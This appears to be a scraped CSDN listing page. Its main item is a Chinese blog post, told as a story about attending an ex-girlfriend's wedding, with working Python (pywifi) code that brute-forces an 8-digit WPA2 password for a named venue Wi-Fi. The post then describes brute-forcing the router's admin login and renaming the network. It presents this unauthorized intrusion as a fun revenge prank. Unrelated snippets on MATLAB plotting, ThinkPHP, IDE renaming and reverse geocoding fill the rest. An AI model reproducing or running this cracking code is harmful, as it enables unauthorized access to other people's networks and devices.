精华内容
下载资源
问答
  • python小哥哥,参加前女友婚礼,破解了婚礼现场的WIFI,还把WiFi的名称给改成了。。。

    大家好,我是Lex 喜欢欺负超人那个Lex

    擅长领域:python开发、网络安全渗透、Windows域控Exchange架构

    今日重点:① python暴力拿下WiFi密码;②python拿下路由器管理页面

    代码干货满满,建议收藏+实操!!!有问题及需要,请留言哦~~

    上次的故事是这样的

    前女友发来加密的 “520快乐.pdf“,我用python打开之后,却发现。。。

    事情是这样的

    小哥哥还是来到了婚礼现场

    在一个背靠角落的桌子前坐下

    耳朵里塞满了 幸福到听不清的嘈杂声

    闪烁的灯光刺痛着 昨夜失眠到 有点发红的双眼

    一股莫名的感觉直往上冲

    默默,掏出了笔记本 python开发工具


    现场的WiFi名称叫:"婚礼第一大厅"

     

    python破解WiFi密码

    1、安装pywifi和comtypes 两个模块

    pip install pywifi

    pip install comtypes

    PS C:\Users\pacer> pip install pywifi
    
    Collecting pywifi
      Downloading pywifi-1.1.12-py3-none-any.whl (15 kB)
    Installing collected packages: pywifi
    Successfully installed pywifi-1.1.12
    
    PS C:\Users\pacer> pip install comtypes
    
    Collecting comtypes
      Downloading comtypes-1.1.10.tar.gz (145 kB)
         |████████████████████████████████| 145 kB 12 kB/s
    Using legacy 'setup.py install' for comtypes, since package 'wheel' is not installed.
    Installing collected packages: comtypes
        Running setup.py install for comtypes ... done
    Successfully installed comtypes-1.1.10
    PS C:\Users\pacer>

    2、生成8位密码

    假设WiFi密码为8位纯数字

    for i in range(100000000):
        #生成8位数密码
        pwd=str(i).zfill(8)
        print(pwd)

    3、完整代码

    使用pywifi模块,将wifi名称、密码配置进去,进行尝试。

    import time
    import pywifi
    from pywifi import const
    
    for i in range(100000000):
        #生成8位数密码
        pwd=str(i).zfill(8)
        print(pwd)
        profile = pywifi.Profile()
        profile.ssid ='婚礼第一大厅' #wifi名称 
        profile.auth = const.AUTH_ALG_OPEN #验证方式
        profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式
        profile.cipher = const.CIPHER_TYPE_CCMP    #加密类型
        profile.key=pwd
        wifi = pywifi.PyWiFi()
    
        iface = wifi.interfaces()[0]
        wedding = iface.add_network_profile(profile)
        #尝试连接
        iface.connect(wedding)
        time.sleep(3)
        if iface.status() == const.IFACE_CONNECTED:
            print('连接成功')
            break
        else:
            print('密码不对,连接失败,好气哦~~')

     

    连接成功

    一段时间后,连接成功。

    拿到wifi密码之后

     

    拿下路由器

    1、路由器管理地址

    路由器管理页面登录地址一般都是,192.168.0.1 或者 192.168.1.1访问路由器的链接地址。

    http://192.168.0.1/

    2、路由器登录提交分析

    通过页面提交密码测试,发现密码是明文提交服务器验证的。

    如下图

    3、循环提交请求

    通过循环提交路由器登录密码,通过工具post循环提交路由器的登录密码。

    成功登录,拿下路由器

     

    修改WIFI的名称

    登录路由器界面,修改“婚礼第一大厅”WIFI名称

     

    故事结尾

    一切结束了,站起身,最后看了一眼

    在交相辉映的灯光下

    大大的合照上,手捧着鲜花 那张放肆笑着的脸

     

    WiFi名改好了,告辞~

     

     

    ------------------THE END-------------------------

     

    CSDN官方学习推荐 ↓ ↓ ↓

    CSDN出的Python全栈知识图谱,太强了,推荐给大家!

    推荐阅读

    python实战

    【python实战】前女友发来加密的 “520快乐.pdf“,我用python破解开之后,却发现。。。

    【python实战】昨晚,我用python帮隔壁小姐姐P证件照 自拍,然后发现...

    【python实战】女友半夜加班发自拍 python男友用30行代码发现惊天秘密

    【python实战】python你TM太皮了——区区30行代码就能记录键盘的一举一动

    python实战】女神相册密码忘记了,我只用Python写了20行代码~~~

    pygame系列文章

    一起来学pygame吧 游戏开发30例(二)——塔防游戏

    一起来学pygame吧 游戏开发30例(四)——俄罗斯方块小游戏

    一起来学pygame吧 游戏开发30例(五)——消消乐 小游戏

    展开全文
  • matlab画图显示XY轴名称 xlabel(‘x轴的名称’); ylabel(‘y轴的名称’); matlab中plot()画图时如何指定X Y轴的范围 可以用matlab提供的坐标轴设置函数axis进行设置(对当前坐标轴进行设置),具体用法如下: plot...
    matlab画图显示XY轴名称
    

    xlabel(‘x轴的名称’);
    ylabel(‘y轴的名称’);

    matlab中plot()画图时如何指定X Y轴的范围
    

    可以用matlab提供的坐标轴设置函数axis进行设置(对当前坐标轴进行设置),具体用法如下:
    plot(x, y); // 画图后用axis函数设置坐标轴的范围
    axis([xmin xmax ymin ymax]); % 设置坐标轴在指定的区间
    xmin、xmax 表示设置横坐标的最小最大值;
    ymin、ymax 表示设置纵坐标的最小最大值。

    也可以用下面的set函数进行设置(对指定的坐标轴进行设置),具体用法如下:
    XTick,ytick使用来设置刻度
    

    plot(x, y); // 画图后用set函数设置坐标轴的属性
    set(handles,‘xtick’,0:100:2500) % handles可以指定具体坐标轴的句柄
    功能: 设置X轴坐标范围0到2500,显示间隔是100;
    set(handles,‘ytick’,0:100:2500) % handles可以指定具体坐标轴的句柄
    功能: 设置X轴坐标范围0到2500,显示间隔是100;

    Matlab绘图中添加x坐标文字标签
    XTickLabel 用它来给刻度增加文字标签
    
    gg=R_shuju(1,28:53)
    set(gca,'XTick',0:1:26,'xticklabel',gg);
    set(gca,'XTickLabelRotation',45)%使标注旋转角度
    

    https://blog.csdn.net/xkl7111/article/details/17223617

    matlab中画图把点显示出来

    for i=1:26
    text(t(i),y(i),num2str(y(i)))
    end
    
    展开全文
  • 如何根据经纬度获取地址名称

    万次阅读 2020-11-21 12:54:02
    根据经纬度获取对应地址名称 /** * 获取地理位置名称 * * param location * 经纬度坐标,经度在前,纬度在后,经纬度间以“,”分割 * return */ public static String getAddressNameByGeocoder1(String...

    根据经纬度获取对应地址名称

    /**
    	 * 获取地理位置名称
    	 *
    	 * param location
    	 *            经纬度坐标,经度在前,纬度在后,经纬度间以“,”分割
    	 * return
    	 */
    	public static String getAddressNameByGeocoder1(String location) {
    		String jsonString = sendGet(getRegeoUrl(location));
    		JSONObject jsonObject = JSONObject.parseObject(jsonString);
    		String addressName = jsonObject.getJSONObject("regeocode").getString("formatted_address");
    		return addressName;
    	}
     
    	/**
    	 * 向指定URL发送GET方法的请求
    	 *
    	 * param url
    	 *            发送请求的URL
    	 * return URL 所代表远程资源的响应结果
    	 */
    	public static String sendGet(String url) {
    		String result = "";
    		BufferedReader in = null;
    		try {
    			String urlNameString = url;
    			URL realUrl = new URL(urlNameString);
    			// 打开和URL之间的连接
    			URLConnection connection = realUrl.openConnection();
    			// 设置通用的请求属性
    			connection.setRequestProperty("accept", "*/*");
    			connection.setRequestProperty("connection", "Keep-Alive");
    			connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
    			// 建立实际的连接
    			connection.connect();
    			// 定义 BufferedReader输入流来读取URL的响应
    			in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8"));
    			String line;
    			while ((line = in.readLine()) != null) {
    				result += line;
    			}
    		} catch (Exception e) {
    			return null;
    		} finally { // 使用finally块来关闭输入流
    			try {
    				if (in != null) {
    					in.close();
    				}
    			} catch (Exception e2) {
    				e2.printStackTrace();
    			}
    		}
    		return result;
    	}
     
     
    	/**
    	 * 逆地理编码url
    	 *
    	 * param location
    	 *            经纬度坐标,经度在前,纬度在后,经纬度间以“,”分割
    	 * return
    	 */
    	public static String getRegeoUrl(String location) {
    		return "http://restapi.amap.com/v3/geocode/regeo?location=" + location
    				+ "&key=17479d86c0c6a0305024e1142351a0a4";
    	}
    

    转载自https://blog.csdn.net/z_740771101/article/details/90174656

    展开全文
  • thinkphp5.x获取当前模块名称,当前控制器名称,当前类方法名称 //助手函数request(),实例化Request对象; //当前模块名称 $moduleName=request()->module(); //当前控制名称 $controllerName=request()-...

    thinkphp5.x获取当前模块名称,当前控制器名称,当前类方法名称

    //助手函数request(),实例化Request对象;
    
    //当前模块名称
    $moduleName=request()->module();
    
    //当前控制名称
    $controllerName=request()->controller();
    
    //当前类方法名称
    $actionName=request()->action();
    
    

    thinkphp5.x当前模型名称:

    //当前模型名称
    $modelName=$this->name;
    展开全文
  • IntelliJ IDEA自动补全变量名称和属性名称的快捷键

    万次阅读 多人点赞 2018-08-08 17:11:19
    IntelliJ IDEA自动补全变量名称和属性名称的快捷键 IntelliJ IDEA自动补全变量名称和属性名称的快捷键 IntelliJ IDEA自动补全变量名称和属性名称的快捷键   自动补全变量名称 : Ctrl + Alt + v 自动补全属性...
  • 修改项目名称 步骤1:File->Project Structure->Project 修改Project name即可修改项目名称 修改模块名称
  • IDEA 修改项目名称

    万次阅读 多人点赞 2018-03-21 10:01:05
    复制了一份之前的项目,直接在文件夹中修改了项目的名称,但是发现idea显示还是没有变化想要修改显示名称希望能帮到你
  • java 线程 多线程 thread 设置线程名称 获取线程名称 public class Name extends Thread { @Override public void run() { //setName()方法设置线程名称 this.setName("线程A"); System.out.println(...
  • git本地分支修改名称

    万次阅读 2018-08-23 10:25:54
    给一个git分支改名的方法很简单 如果对于分支不是当前分支,可以使用下面代码: git branch -m 原分支名 新分支名 如果是当前,那么可以使用加上新名字 git branch -m 原分支名称 ...
  • 更改项目project名称,与项目名称

    万次阅读 2018-10-08 22:41:02
    更改项目名称 当我们复制项目后需要更改项目名称,第一是改工程包名,第二是改启动时用的项目名称;这样包名与启动的工程名就会一致; 改启动时用的项目名称: 一.第一步 二.第二步 ...
  • IntelliJ idea 修改项目名称和moudle名称

    千次阅读 2019-03-08 13:35:02
    1.找到项目文件 settings gradle文件,打开修改里面的test名称为你想要的名称。如:原项目名称为test,修改为test1,文件中test全部改为test1 2.修改moudle名称为自己想要的名称 3.打开项目所在空间,修改项目名称...
  • win10 查看计算机名称与用户名称

    千次阅读 2020-06-14 08:36:17
    二、查看用户名称 第一步,在桌面找到“控制面板”,点击进入。在此界面中找到“用户账户”,点击进入。 第二步,继续点击界面上的“用户账户”,这时我们就会进入“更改账户信息”界面,此时右边就出现了用户...
  • Python 获取文件夹路径名称、路径下所有子目录名称,以及所有非目录子文件名称
  • Hive 正则提取英文名称和中文名称

    千次阅读 2018-11-12 16:51:30
    Hive 正则提取英文名称和中文名称 提取英文名称 select regexp_extract("Aptamil 爱他美(德国)",'([A-Z][a-z]*(\\s|$))+', 1); select regexp_extract("Skin 伊思",'(\\w*(\\s...
  • 废话不多说开始干就完了 1.修改工程名字 .打开工程 点击工程名称 回车 直接修改 ...2. 修改scheme名称 .点击Xcode上面的工具栏Product->Sechme->Edit Sechm .弹出对话框 会车直接修改...
  • 一、表空间名称修改  1.查看所有表空间:select * from dba_tablespaces  2.修改表空间名称:alter tablespace TABLESPACENAME rename to NEWTABLESPACENAME ; 二、数据文件名称修改  ...
  • idea maven模块名称和项目名称不一致

    千次阅读 2019-12-18 22:17:45
    maven下的模块名称是根据 pom 文件下的name属性走的。
  • 获取安卓手机设备名称 最近公司有个需求,需要获取安卓手机的设备名称 搜了一大波资料后发现大多数获取设备名称的方法都是通过android.os.Build这个类拿到的,但是这种方法只能拿到手机型号啊,不能拿到设备名称=_...
  • 三、修改列名称(change col_name) 三、修改表名称(rename table a to b) 用到的语句 a、修改列定义和名称: 语法一:Alter table tbl_name modify[column] col_name [first|after col_na...
  • Flutter 修改App的名称和图标

    万次阅读 2019-07-10 09:44:13
    文章目录Android修改名称和图标IOS修改名称和图标 Flutter新创建的项目默认的图标是Flutter icon,项目名称我们一般是英文的,但我们想让用户看到的app名称一般是中文的,所以我们就需要修改App的名称和图标。 ...
  • TensorFlow查看输入节点和输出节点名称

    万次阅读 热门讨论 2019-04-21 15:58:13
    TensorFlow 定义输入节点名称input_name: with tf.name_scope('input'): bottleneck_input = tf.placeholder_with_default( bottleneck_tensor, shape=[batch_size, bottleneck_tensor_size], ...
  • Qt工程名称和文件名称的修改

    千次阅读 2017-12-07 11:54:34
    一、修改工程的名称1、关闭当前工程 2、build -> clean project 3、进入.pro工程文件,进行以下修改TARGET = XXXXX (你所需要修改新的工程名称)二、修改文件名1、修改文件名很容易,直接点击右键->重命名就可以了...
  • git 如何修改本地分支名称与远程分支名称 在工作中经常会遇到需要修改分支名的问题,假设现在的分支名为 20190408_old_branch,然后发现自己的分支名好像写错了,这时候应该如何修改本地分支名称与远程分支名称呢?...
  • 问题事件名称: APPCRASH(解决方法)

    万次阅读 2018-07-06 15:52:23
    问题事件名称: APPCRASH(解决方法) 解决方法:问题事件名称: APPCRASH(解决方法)
  • 在用VS创建一个项目时,默认项目名称与解决方案名称相同,如下图: 项目名称与解决方案名称到底有什么区别呢?今天做了尝试来具体看看两者的区别。将项目名称设为study,解决方案名称设为solution,如下图: ...
  • 如何修改MySQL数据库名称

    万次阅读 多人点赞 2018-11-14 13:49:20
    如何修改MySQL数据库名称
  • 设置Assetbundle名称是选中对应素材的文件夹,他会根据文件夹的名称命名bundle的名称,输出路径可自行更改,初始化的assetbundle.manifast主依赖列表的名称就是输出文件夹的名称 using UnityEngine; using System....
  • HDFS 第一名称节点和第二名称节点

    千次阅读 2019-03-18 17:47:37
    这里的第一名称节点类似于数据目录。其主要有两大构件构成,FsImage和Editlog,FsImage用于存储元数据(长时间不更新、Editlog用于更新数据,但是随着时间推移,Editlog内存储的数据越来越多,导致运行速度越来越慢。...
  • tp5 获取当前控制器名称和方法名称

    万次阅读 2018-06-27 15:14:35
    //获取当前控制器名称 //获取当前控制器名称 $controller=request()->controller(); $this->assign('controller',$controller); //获取当前方法名 $action=request()->action(); ...
  • 一、win10更改以太网名称: 不管是无线路由器、还是本地网卡在更改过设置以后(例如:驱动升级、路由器重新配置等),计算机再次连接时往往会自动生成一个新的网络连接名称,如果原来的命名是本地连接,新的可能...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 762,111
精华内容 304,844
关键字:

名称